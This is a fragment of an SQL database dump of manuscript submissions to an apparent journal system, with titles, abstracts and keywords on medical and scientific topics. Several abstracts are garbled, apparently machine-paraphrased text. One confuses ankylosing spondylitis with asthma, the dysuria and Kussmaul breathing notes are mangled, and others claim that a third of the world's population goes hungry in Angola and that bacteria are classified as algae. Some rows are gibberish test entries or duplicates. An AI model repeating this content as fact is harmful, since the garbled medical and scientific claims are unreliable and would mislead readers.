coaches and clinicians about the various, but related, lumbar spine injuries. At various points during the season, management strategies will also be provided for efficient implementation. Even though the lumbar spine is complicated, clinicians and coaches can work together to prevent low back injuries in athletes.','Low Back Pain, intervertebral discs, Clinicians',5423,'','2022-12-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-02-17',1),(13506,13678,996,0,'','Dr','',14,0,'','Objective: Rheumatoid arthritis (RA) is associated with joint deformities and local bone erosions. Sclerostin is an inhibitor of Wnt pathway and drives to reduced bone formation. The aim of study was to compare the diagnostic significance of Sclerostin with anti-CCP (anti-cyclic citrullinated peptide) and rheumatoid factor (RF) for early diagnosis of rheumatoid arthritis in newly diagnosed patients.\r\nMethods and methods: This study contained fifty-eight of RA patients and thirty healthy persons who were equal age and sex-matched. Serum Sclerostin, and serum anti-CCP (IgG) levels were evaluated by using the enzyme-linked immunosorbent assay (ELISA). RA activity was assessed based on disease activity scores (DAS28). \r\nResults: Our results indicated that serum levels of Sclerostin levels were higher in the RA group than the healthy group (p<0.001). There was a correlation between serum Sclerostin and DAS28-ESR (r=0.413, p=0.001). By ROC curve, the greatest cut-off value of Sclerostin was 249.69 pg/ml (AUC 0.910, sensitivity 87.9%; specificity 93.3%) and [Odd Ratio (OR) & P-value: 102, P< 0.0001]. In patients with early rheumatoid arthritis, the sensitivity and specificity of anti-CCP were 74.1% and 90% respectively. The sensitivity and specificity of RF were 70.6% and 86.6%, respectively.\r\nConclusion: Increased of serum Sclerostin may aid as a new prognostic biomarker for evaluating the activity of RA. Sclerostin showed higher sensitivity and specificity than anti-CCP and RF-IgM antibodies, therefore, Sclerostin is a sensitive and specific marker for early diagnosis of rheumatoid arthritis\r\n','Rheumatoid arthritis, Sclerostin, Wnt pathway, disease activity.\r\n\r\n',3649,'','2023-02-18',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-02-20',1),(13522,13691,73,0,'','laura loge ','',24,1,'laura lekar nach mera','  ',' laura  ',5427,'','2023-02-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-02-27',1),(13523,13689,45,0,'','Mrs','',14,0,'Referral and Feedback system','Abstract\r\nIntroduction: A referral system is the interrelationships and coordination of patient care services from one health care facility to another. It connects patients with health care providers and ensures that they receive the necessary care and thus improving the quality of care for the patient through better coordination and management of services between facilities. However, despite the growing awareness of problems associated with referrals among  health care providers there is no study conducted to improve referral systems by assessing levels of awareness of referral and feedback services among higher professionals in primary and tertiary level health care providers.\r\nObjective: The aim of this study was to assess knowledge of referral and feedback system among higher level health care provider in primary and tertiary level health care providers  Amhara region, Ethiopia.\r\nMethod:An institutional based cross-sectional study was conducted from September 30 to October 30, 2021 among primary and tertiary level health care, Amhare region. Random sampling technique used to select 223 participants.  self- administer questionnaire used to collect the data. Bivariabl and multivariable logistic regressions performed to see the effect of each independent variable on the dependent variable. \r\nResult \r\nMore than half (54.7%) of higher level health care providers had good knowledge of referral system.  Only (15.2%) (95% CI: 10, 20) of respondents had good knowledge of feedback. Factor associated with knowledge of referral system was interdepartmental protocol [AOR: = 2.2, 95% CI: (1.08, 4.51)]. Sex [AOR: =4.5, CI 95 %( 1.03- 19.97)], follow up (AOR= 2.40, CI 95% (1.13, 5.13)] were also significantly associated with knowledge of feedback system.\r\nConclusion and recommendation \r\nA total of (54.7%) of the respondents had good knowledge of referral systems. Only 15.2% of higher level professionals were good knowledge of feedback. About 157(70 %) of respondents did not write feedback. The reasons not written feedback were 56(25.1%) workload, 46 (20%) lack of feedback form and 33(14.8%) lack of awareness. Interdepartmental protocol, Sex and follow up were associated with referral and feedback systems respectively. So efforts need to strength follow up systems and female professionals should increase knowledge of feedback systems through highly practice of referral systems.  And, every health facility should avail and adhere interdepartmental protocol to increase knowledge of referral system.','Keywords: Knowledge, Referral, Feedback ,Higher level health care providers',4076,'','2023-02-27',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-02-28',1),(13524,13692,996,0,'','asuasw','',4,0,'','xvfadfadv cwrtg xcdferthv dgheyh','asas',5420,'','2023-02-28',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-02-28',1),(13527,13696,45,0,'','Transmission of SARS-CoV-2- a systematic review','',19,3,'','It is an update to the transmission of SARS-CoV-2: implications for infection, prevention and control (IPC) precaution recommendations and includes new evidence available on transmission of SARS-CoV-2, the virus that causes COVID-19. The possible modes of transmission for SARS-CoV-2, including contact, droplet, airborne, fomite, fecal-oral, bloodborne, mother-to-child, and animal-to-human transmission. Infection with SARS-CoV-2 primarily causes respiratory illness ranging from mild disease to severe disease which leads to death.','Transmission; SARS-CoV-2; Airborne; Fomite; Droplet Transmission',5388,'','2023-03-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-03-04',1),(13543,13689,45,0,'','Mrs','',14,0,'Referral and Feedback system ','Abstract\r\nIntroduction: A referral system is the interrelationships and coordination of patient care services from one health care facility to another. It connects patients with health care providers and ensures that they receive the necessary care and thus improving the quality of care for the patient through better coordination and management of services between facilities. However, despite the growing awareness of problems associated with referrals among  health care providers there is no study conducted to improve referral systems by assessing levels of awareness of referral and feedback services among higher professionals in primary and tertiary level health care providers.\r\nObjective: The aim of this study was to assess knowledge of referral and feedback system among higher level health care provider in primary and tertiary level health care providers  Amhara region, Ethiopia.\r\nMethod:An institutional based cross-sectional study was conducted from September 30 to October 30, 2021 among primary and tertiary level health care, Amhare region. Random sampling technique used to select 223 participants.  self- administer questionnaire used to collect the data. Bivariabl and multivariable logistic regressions performed to see the effect of each independent variable on the dependent variable. \r\nResult \r\nMore than half (54.7%) of higher level health care providers had good knowledge of referral system.  Only (15.2%) (95% CI: 10, 20) of respondents had good knowledge of feedback. Factor associated with knowledge of referral system was interdepartmental protocol [AOR: = 2.2, 95% CI: (1.08, 4.51)]. Sex [AOR: =4.5, CI 95 %( 1.03- 19.97)], follow up (AOR= 2.40, CI 95% (1.13, 5.13)] were also significantly associated with knowledge of feedback system.\r\nConclusion and recommendation \r\nA total of (54.7%) of the respondents had good knowledge of referral systems. Only 15.2% of higher level professionals were good knowledge of feedback. About 157(70 %) of respondents did not write feedback. The reasons not written feedback were 56(25.1%) workload, 46 (20%) lack of feedback form and 33(14.8%) lack of awareness. Interdepartmental protocol, Sex and follow up were associated with referral and feedback systems respectively. So efforts need to strength follow up systems and female professionals should increase knowledge of feedback systems through highly practice of referral systems.  And, every health facility should avail and adhere interdepartmental protocol to increase knowledge of referral system.\r\n\r\nKeywords: Knowledge, Referral, Feedback ,Higher level health care providers\r\n','Keywords: Knowledge, Referral, Feedback ,Higher level health care providers',4076,'','2023-02-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-03-09',1),(13542,13707,45,0,'','Bayesian Formulation of Time-dependent Carrier-borne Epidemic Model with a Single Carrier','',14,0,'','In this paper, the time dependent carrier-borne epidemic model defined by Weiss in 1965 has been adopted into a Bayesian framework for the estimation of its parameters. A complete methodological structure has been proposed for estimating the relative infection rate and probability of survival of k out of m susceptibles after time t from the start of the epidemic. The methodology has been proposed assuming a single carrier to simplify the study of the behavioral validity of the fitted Bayesian model with respect to time and relative infection rate. Further, the proposed model has been implemented on two real data sets- the typhoid epidemic data from Zermatt in Switzerland and the Covid-19 epidemic data from Kerala in India. Results show that the proposed methodology produces reliable predictions which are consistent with those of the maximum likelihood estimates and with expected epidemiological patterns.','Carrier-borne epidemic model, infection rate and removal/recovery rate, Priors, Conjugate priors, Posteriors, Bayesian Estimation',4076,'','2023-03-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-03-09',1),(13549,13714,73,0,'','Quantification of arm exchange','',3,1,'Overview of Nervous System Disorders','','',337,'','2023-03-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-03-13',1),(13566,13727,251,0,'','Staphylococcus Aureus: Infections, Epidemiology and Pathophysiology','',19,0,'','A major human pathogen, Staphylococcus aureus is responsible for numerous clinical infections. It is a main source of bacteraemia and infective endocarditis as well as osteoarticular, skin and delicate tissue, pleuropulmonary, and gadget related diseases. This audit thoroughly covers the study of disease transmission, pathophysiology, clinical signs, and the board of every one of these clinical elements. There have been two distinct shifts in the epidemiology of S. aureus infections over the past two decades: second, an epidemic of community-associated skin and soft tissue infections driven by strains with certain virulence factors and resistance to -lactam antibiotics, and first, a growing number of infections associated with healthcare, particularly infective endocarditis and infections of prosthetic devices. We also emphasize the lack of high-quality evidence for many important clinical questions when we review the literature to support management strategies for these clinical manifestations.\r\nThe gram-positive bacterium Staphylococcus aureus is responsible for a wide range of clinical conditions. This pathogen is frequently responsible for both community- and hospital-acquired infections. The emergence of multi-drug-resistant strains like MRSA (Methicillin-Resistant Staphylococcus aureus) continues to make the treatment challenging. In most cases, S. aureus does not infect healthy skin; however, these bacteria have the potential to cause a variety of potentially life-threatening infections if they are allowed to enter the bloodstream or internal tissues. The evaluation and treatment of Staphylococcus infections are discussed in this activity, as is the interprofessional team\'s role in patient care.\r\n','Staphylococcus aureus; Gram-positive bacterium; clinical manifestations; skin and soft tissue; pathophysiology; clinical manifestations ',786,'','2023-03-14',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-03-15',1),(13590,13742,639,0,'','Enhancing Meal and sustenance reliability in Angola by Leveraging the Commercial Value of Fish','',15,0,'','In Angola, about one-third of the world\'s population suffers from chronic hunger. In addition to chronic hunger epidemics, millions of people suffer from micronutrient deficiencies.Across all scientific disciplines, fish now play an important role in improving food and nutritional security. This review therefore aims to demonstrate the role of the fish and fisheries sectors as a whole in ensuring food and nutrition security in SSA by summarizing the existing literature. is intended for Fish are a rich source of animal protein and essential micronutrients such as zinc, iodine, calcium and vitamins that are essential for human nutrition and have been shown to help reduce the risk of malnutrition and non-communicable diseases. I\'m here. Politicians, development agencies and society need to recognize the role the fisheries sector can play in addressing hunger and malnutrition, especially among the poor and marginalized.','undernutrition; small indigenous species; fish nutrition; sustainable development goals (SDGs); Angola',1778,'','2023-03-16',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-03-17',1),(13605,13754,996,0,'','The patients who affected by severe facet joint pains','',15,0,'','Description of human facet joint capsular tissues and degenerative facet joints. Lumbar facet joint degeneration may be a major cause of sciatica and low back pain. Neovascularization and cellular alterations in inflammatory factor expression in human degenerative facet joint capsular tissue were the focus of this study. The effects of pain stimulation on these changes in FJC tissues were also evaluated.','Capsular tissues; Neovascularization; Degeneration; Pain stimulation',3649,'','2023-03-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-03-25',1),(13614,13761,91,0,'','STUDY WHAT YOU LOVE!','',3,0,'','The College of Contract Management training and CPD academics have more than 20 years of experience in the sector with a minimum of masters qualifications. In addition, some of our academics are semi-retired and enthusiastic about teaching young professionals.\r\nTheir Professors are first-class British lecturers who have PhDs and have graduated from the best establishments in the world such as Imperial College London, University of Manchester, etc. They are enthusiastic about teaching and currently working as a lecturer or senior lecturer in the top-ranked universities in the United Kingdom. Moreover, our lecturers publish books and articles, attend international conferences, and are recognised as significant contributors in their field. https://www.theccm.co.uk/about-us/','',5445,'','2023-03-27',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2023-03-28',1),(13632,13776,667,0,'','Adoption of Drug Metabolizing Enzyme Genetic Testing by Clinicians','',19,0,'','Before starting a medication, PGx looks at how different people\'s drug metabolizing enzymes are from one another. As a result, adverse events caused by toxicity and the metabolism of the patient can be avoided. This paper looks at two different uses: a genetic test of the CYP 2C9 enzyme and the Thiopurine methyltransferase gene before beginning mercaptopurine drug therapy and before administering the anticoagulant warfarin. According to the biomedical literature, barriers to PGx have limited clinician experience. A lack of prospective clinical trials, legacy business models between the pharmaceutical industry and physicians, inadequate regulatory oversight, payer reimbursement practices, and physician habits are among these. PGx is unlikely to see widespread use until these issues are addressed. The most significant obstacles to clinician adoption are unproven utility and ingrained business models.','',3933,'','2023-04-05',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-04-06',1),(13702,13844,996,0,'','A review of the old people who affected by Ankylosing spondylitis ','',15,0,'','Ankylosing spondylitis (AS) is a debilitating, complex condition that begins slowly and progresses over several years to radiological sacroiliitis. Patients with suggestive AS lose efficiency inferable from work incapacity and joblessness, have a significant utilization of medical services assets, and diminished personal satisfaction. Asthma\'s etiology is poorly understood. In any case, resistant interceded components including human leucocyte antigen (HLA)-B27, provocative cell penetrates, cytokines, and hereditary and natural variables are remembered to play key parts. The presence of inflammatory back pain in addition to at least two other typical features of spondyloarthropathy is highly predictive of early AS, but the detection of sacroiliitis on radiography, magnetic resonance imaging, or computed tomography in the absence of clinical manifestations is diagnostic for AS. NSAIDs, or nonsteroidal anti-inflammatory drugs, are currently the first-line treatment for inflammatory symptoms. However, NSAID treatment only improves symptoms and probably does not alter the course of the disease. Corticosteroids and a variety of disease-modifying antirheumatic medications are used as second-line treatments for symptoms that do not respond to NSAIDs, but they are of limited benefit. Asthma\'s underlying inflammatory processes are the focus of new biological treatments, which have the potential to positively alter the disease process in addition to relieving symptoms.','Ankylosing spondylitis, radiological sacroiliitis, Asthma, Cytokines, Radiography',3649,'','2023-04-20',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-04-21',1),(13712,13849,91,0,'','Analytical Chemistry\'s Most Recent Advances with Imprinted Nanomaterials','',15,0,'','A special class of materials with the capacity to recognise the target compound or compounds selectively are known as molecularly imprinted polymers (MIPs). Due to its distinctive qualities like low cost, durability, and high selectivity, MIPs have attracted significant research attention in solid-phase extraction, catalysis, and sensing applications. Additionally, nanoparticles, multiwall carbon nanotubes (MWCNTs), Nano rods, quantum dots (QDs), graphene, and clays can all be used to create MIPs as composite nanomaterials. This review paper seeks to show and highlight the most current developments in imprinted Nano composite materials applications in analytical chemistry.','Analytical Chemistry; Imprinted Nanomaterials; Molecularly Imprinted Polymers (MIPs); Nanotechnology; Nanoparticles; Surface Imprinting',3754,'','2023-04-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-04-24',1),(13711,13851,996,0,'','The risk of Alzheimer\'s disease with regular uses of Glucosamine','',19,0,'','There is some evidence to suggest that regular use of glucosamine may increase the risk of Alzheimer\'s disease. This has been shown in studies of both human and animal subjects. The exact mechanism behind this increased risk is not yet fully understood, but it may be related to the way in which glucosamine affects the formation of beta-amyloid plaques in the brain. More research is needed to fully understand the potential risks associated with glucosamine use, and to identify any possible ways to mitigate them.','Alzheimer\'s disease, Glucosamine, Beta-amyloid plaques, Potential risks',3649,'','2023-04-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-04-24',1),(13725,13846,91,0,'','The Role of Artificial Intelligence in Drug Discovery','',15,0,'','Artificial intelligence (AI) is revolutionizing the field of drug discovery by enabling researchers to accelerate the identification and development of new drug candidates. With the growing need for more effective and efficient drug development, AI technologies have emerged as powerful tools for improving the drug discovery process. AI-based methods can be applied to a range of drug discovery tasks; including target identification, lead generation, and optimization.\r\nIn this paper, we review the current state of the art in AI applications for drug discovery. We begin by discussing the key challenges facing traditional drug discovery methods and how AI can address these challenges. We then review various AI-based approaches for target identification, lead generation, and optimization, including machine learning, deep learning, and natural language processing techniques. We also discuss the potential benefits and limitations of using AI in drug discovery, such as increased efficiency, reduced costs, and improved accuracy.\r\nOverall, we find that AI has significant potential to transform the drug discovery process by enabling researchers to more quickly and accurately identify promising drug candidates. However, there are also challenges associated with integrating AI into drug discovery workflows, including the need for high-quality data and appropriate regulatory frameworks. We conclude by discussing future directions and opportunities for AI in drug discovery and highlight the need for continued collaboration between AI researchers and drug discovery experts.\r\n','Drug Discovery; Artificial intelligence; Target identification; Drug development; Machine learning',3391,'','2023-04-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-04-25',1),(13748,13881,959,0,'','Assessment of Neoantigen-Related Somatic Mutations in Non-Small Cell Lung Cancer','',14,0,'Assessment of Neoantigen-Related Somatic Mutations in Non-Small Cell Lung Cancer','Aim: Recently, immune checkpoint inhibitors (ICIs) have become a significant treatment choice for people with advanced non-small cell lung cancer (NSCLC). Neo-antigens are significant biomarkers and possible therapeutic targets that are crucial for the diagnosis and care of NSCLC patients. In materials from patients who had surgical therapy for NSCLC, this study sought to assess and define the connections between somatic mutations and possible neoantigens. Patients and Methods: This prospective study examined tissue samples from NSCLC patients who received surgery for their condition. Both tumour tissues and matched normal tissues underwent whole-exome sequencing. Using generative software, candidate neoantigens were predicted, and the associations between different mutational features and the quantity of neoantigens were assessed. Results: Gene mutations connected to neoantigens occurred less frequently than mutations impacting the entire genome. High neoantigen burden genes exhibited a greater variety and frequency of mutations. Missense mutations, code shift insertions/deletions, split-site variants, and nonsense mutations all had a favourable correlation with the quantity of candidate neoantigens. However, only missense mutations showed a positive correlation with the quantity of neoantigens in the analysis of multiple linear regression. Additionally, the quantity of neoantigens was inversely connected with base transitions (A>G/G>A and C>T/T>C) and positively correlated with base transversions (A>C/C>A, T>G/G>T, and C>G/G>C). Conclusion: The frequency, kind, and base substitution type of mutations were all linked to the quantity of potential neoantigens found in NSCLC cases.','Non-small cell lung cancer, Whole exome sequencing, Neoantigens, Tumor neoantigen burden, Genetic mutation characteristics.',5442,'','2023-05-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-05-08',1),(13758,12576,73,0,'','Assessment of Neoantigen-Related Somatic Mutations in Non-Small Cell Lung Cancer','',14,0,'Assessment of Neoantigen-Related Somatic Mutations in Non-Small Cell Lung Cancer','Aim: Recently, immune checkpoint inhibitors (ICIs) have become a significant treatment choice for people with advanced non-small cell lung cancer (NSCLC). Neo-antigens are significant biomarkers and possible therapeutic targets that are crucial for the diagnosis and care of NSCLC patients. In materials from patients who had surgical therapy for NSCLC, this study sought to assess and define the connections between somatic mutations and possible neoantigens. Patients and Methods: This prospective study examined tissue samples from NSCLC patients who received surgery for their condition. Both tumour tissues and matched normal tissues underwent whole-exome sequencing. Using generative software, candidate neoantigens were predicted, and the associations between different mutational features and the quantity of neoantigens were assessed. Results: Gene mutations connected to neoantigens occurred less frequently than mutations impacting the entire genome. High neoantigen burden genes exhibited a greater variety and frequency of mutations. Missense mutations, code shift insertions/deletions, split-site variants, and nonsense mutations all had a favourable correlation with the quantity of candidate neoantigens. However, only missense mutations showed a positive correlation with the quantity of neoantigens in the analysis of multiple linear regression. Additionally, the quantity of neoantigens was inversely connected with base transitions (A>G/G>A and C>T/T>C) and positively correlated with base transversions (A>C/C>A, T>G/G>T, and C>G/G>C). Conclusion: The frequency, kind, and base substitution type of mutations were all linked to the quantity of potential neoantigens found in NSCLC cases.','Non-small cell lung cancer, Whole exome sequencing, Neoantigens, Tumor neoantigen burden, Genetic mutation characteristics.',5456,'','2023-05-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-05-11',1),(13772,13898,251,0,'','Mr.','',15,1,' \"Emerging Ecoepidemiological Aspects of Zoonotic and Vector-Borne Diseases\"','Reovirus is a double-stranded, non-enveloped RNA virus that is a member of the Reoviridae family. It is well known for its broad host range, which encompasses both people and other animal species. It is also often discovered in the environment. Despite generally being rather innocuous, certain reovirus strains have been linked to serious illnesses in both people and animals. This article gives a thorough introduction to reovirus, emphasizing its composition, replication process, pathophysiology, clinical relevance, and prospective therapeutic uses. A segmented genome encoding twelve proteins and two concentric protein shells make up the distinctive capsid structure of the reovirus. Its replication cycle includes viral particle uncoating, host cell receptor attachment, internalization by endocytosis, genome transcription, and translation in the cytoplasm. Reovirus has a strong capacity to control cellular functions, including the activation of stress response pathways and manipulation of apoptosis, allowing for effective reproduction and spread inside the host. Reovirus usually causes moderate respiratory or gastrointestinal symptoms in people, particularly in youngsters. However, recent research points to a possible connection between reovirus and more serious conditions including encephalitis, myocarditis, and possibly certain forms of cancer. Further study is needed to completely understand the viral and host components contributing to the pathogenesis of reovirus-induced illnesses since the underlying processes are not yet fully understood. Reovirus has, intriguingly, shown potential as a therapeutic agent in the area of oncolytic virotherapy. Clinical studies investigating the effectiveness of reovirus-based therapies, either as monotherapy or in conjunction with other modalities, have shown encouraging results in a variety of cancer types, indicating its potential as an important therapeutic tool. In conclusion, reovirus is an adaptable viral pathogen that interacts intricately with its host. To further our understanding of viral pathogenesis, create targeted therapies, and take use of reovirus\'s special properties for therapeutic applications, it is essential to comprehend the molecular and cellular interactions that drive reovirus infections. To fully understand this fascinating virus\'s capabilities and the ramifications for both human and animal health, further study is necessary.','Reovirus, Replication process, Viral therapies, Anticancer, Oncolytic viruses ',4706,'','2023-05-20',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-05-22',1),(13775,13900,73,0,'','disease histological pattern','',3,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',355,'','2023-05-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-05-23',1),(13794,13915,73,0,'','Title 1','',14,0,'','afasdfadsf dsfdsfads. dsfasdf','',4796,'','2023-06-04',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-06-05',1),(13811,13930,975,0,'','APPLICATIONS OF PROBIOTICS IN FRESHWATER MURREL FISHES ','',3,0,'','Abstract \r\nThe Probiotic products were viewed as an alternative to the use of antibiotics in the freshwater murrel fish farming. Probiotic micro organisms like bacteria, yeast, and fungi offering different benefits to fish including growth promotion, inhibition of pathogen colonization and improvement of nutrient digestion, poor water quality and stress tolerance agents, as well as enhancement of reproduction. For these reasons, this review aims to identify the main trends in probiotics in freshwater murrel fishes. The strategies to incorporate the probiotic strains in the fish feed or pellets to allow optimal viability of the strains as they reach the fish gastrointestinal tract (GIT) are crucial in probiotic research and commercial applications for freshwater murrel fishes.\r\n','Probiotic, Yeast, GIT ',4089,'','2023-06-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-06-14',1),(13818,13879,639,0,'','Application of Shine Dispersion to Identify Plastic Debris at Extremely Low Aqueous Concentrations in Ocean Water','',25,0,'','The detection and quantification of microplastics in the marine environment is essential for understanding the overall impact of plastic pollution on ecosystems and human health. Here we investigate the ability to detect very low concentrations of colloidal particles with diameter d = 0.1–0.8 ?m in seawater using static light scattering (SLS) and dynamic light scattering (DLS) techniques. The detection limit of the instrument was determined using Monodisperse spherical polystyrene latex model particles of 0.2 µm and 0.5 µm diameter. Colloid concentrations and sizes have been shown to be measurable down to about 10-6 g/L. Light scattering measurements of seawater from various locations in Western Europe showed that DLS detected colloidal particles in filtered seawater with a pore size of 0.8 ?m. These particles had concentrations below 1 ?g/L and average diameters of approximately 0.6 ?m. We emphasize that these particles are not necessarily made of plastic. No particles were detected after filtration.','microplastics; seawater; colloids; static light scattering; dynamic light scattering',1777,'','2023-06-14',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-06-15',1),(13836,13940,73,0,'','Unsignalized Intersection Routes','',14,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',332,'','2023-06-19',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-06-21',1),(13874,13974,996,0,'','Understanding the Path to Recovery or Deterioration in Disease','',17,0,'','Disease progression is a multifaceted process that encompasses the stages, patterns, and outcomes of a disease as it evolves over time. This article provides an overview of disease progression, focusing on the factors that influence the path to recovery or deterioration. The stages of disease progression, including the initial, prodromal, acute, and chronic stages, are discussed, highlighting the distinct characteristics and symptoms associated with each stage. Furthermore, the factors influencing disease progression, such as disease-specific factors, treatment interventions, patient factors, and environmental factors, are explored. Understanding these factors is vital for accurate diagnosis, effective treatment planning, and prognosis. By gaining insights into disease progression, healthcare providers can improve patient care, optimize treatment strategies, and enhance outcomes for individuals affected by various diseases and conditions.','Disease progression, Stages, symptoms, Diagnosis, Treatment interventions',3649,'','2023-06-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2023-06-27',1),(13879,13979,73,0,'','Internal carotid artery','',3,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',357,'','2023-06-29',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-06-29',1),(13891,13989,277,0,'','Exploring the Concept of Omnipresence: Understanding its Meaning and Significance','',19,0,'  ',' ',' ',2805,'','2023-07-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-07-03',1),(13900,13993,971,0,'','Cytological Changes in Buccal Mucosa among Glue Abusers','',5,0,'','` ','  ',5381,'','2023-07-10',NULL,'Submitted',5,0,'2023-07-11','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-08-25',1),(14054,13974,996,0,'','Understanding the Path to Recovery or Deterioration in Disease','',17,3,'','Disease progression is a multifaceted process that encompasses the stages, patterns, and outcomes of a disease as it evolves over time. This article provides an overview of disease progression, focusing on the factors that influence the path to recovery or deterioration. The stages of disease progression, including the initial, prodromal, acute, and chronic stages, are discussed, highlighting the distinct characteristics and symptoms associated with each stage. Furthermore, the factors influencing disease progression, such as disease-specific factors, treatment interventions, patient factors, and environmental factors, are explored. Understanding these factors is vital for accurate diagnosis, effective treatment planning, and prognosis. By gaining insights into disease progression, healthcare providers can improve patient care, optimize treatment strategies, and enhance outcomes for individuals affected by various diseases and conditions.','Disease progression, Stages, symptoms, Diagnosis, Treatment interventions',3649,'','2023-06-28',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2023-09-04',1),(14048,13743,639,0,'','Utilising these organisms in the production of functionalized molecules through Bacterial Technology','',2,3,'','To achieve sustainable development, traditional resources such as fossil fuels must be replaced by alternative resources. Many bacteria grow faster in marine ecosystems than on land plants. Bacteria are classified into green algae, red algae, and brown algae based on their photosynthetic pigments. Brown algae are thought to be a source of bioactive substances such as polyphenols. Additionally, some bacteria absorb about 10 times more carbon dioxide from the atmosphere than land plants. Therefore, they have great potential for use within the environment. Owing to their low lignin content and their applicability to biorefining processes, bacteria have recently established themselves as biomass feedstocks for bioethanol production. Here, we provide an overview of the bioconversion of bacteria to bioactive substances and biofuels using microbial biotechnology, such as genetically modified yeast developed using molecular display technology.','Bacterial; phlorotannin; molecular display; bioethanol; xylan; mannitol; laminarin; alginate',1776,'','2023-06-14',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-09-04',1),(14060,14114,73,0,'','Neural Network and Fastai Framework  ','',14,1,'Neurodegenerative Disorders','','',5451,'','2023-09-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-09-05',1),(14063,14118,73,0,'','NMR cryoporometric instrument for porous materials.','',3,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',357,'','2023-09-08',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-09-08',1),(14075,14132,971,0,'','Effectiveness of Physical Therapy in Accelerating Fracture Rehabilitation','',25,0,'','','',4710,'','2023-09-15',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-09-21',1),(14078,14135,971,0,'','Managing Homocysteine levels through Diet and Lifestyle','',3,0,'','','',59074,'','2023-09-15',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-09-21',1),(14130,14176,251,0,'','A short note on Bladder stone','',3,0,'','Bladder stones are little mineral stores that can frame in the bladder. Much of the time bladder stones create when the pee turns out to be exceptionally thought or when one is got dried out. This takes into account minerals, for example, calcium or magnesium salts, to solidify and frame stones. Bladder stones change in number, size and consistency.','Bladder, Calcium, Magnesium, Stones',3524,'','2023-10-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-11-02',1),(14129,14179,251,0,'','A Short note on Dysuria','',3,0,'','Dysuria alludes to agonizing or awkward pee. It is one of a group of stars of irritative bladder side effects (likewise once in a while alluded to as lower urinary plot side effects), which incorporates nocturia and urinary recurrence. Determination The clinician ought to likewise search for actual discoveries of fever, rash, direct delicacy over the bladder region, and joint agony. Actual discoveries of expanded temperature, expanded beat, and low circulatory strain within the sight of dysuria can demonstrate fundamental disease.','urinary recurrence, rash, joint agony, bladder region',3524,'','2023-10-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-11-02',1),(14133,14182,251,0,'','A concise note on Kussmaul relaxing','',3,0,'','Kussmaul breathing is a profound and worked breathing example frequently connected with extreme metabolic acidosis, especially Diabetic Ketoacidosis (DKA) yet in addition kidney disappointment. It is a type of hyperventilation, which is any breathing example that diminishes carbon dioxide in the blood because of expanded rate or profundity of breath.','Kussmaul breathing, Diabetic Ketoacidosis, hyperventilation, metabolic 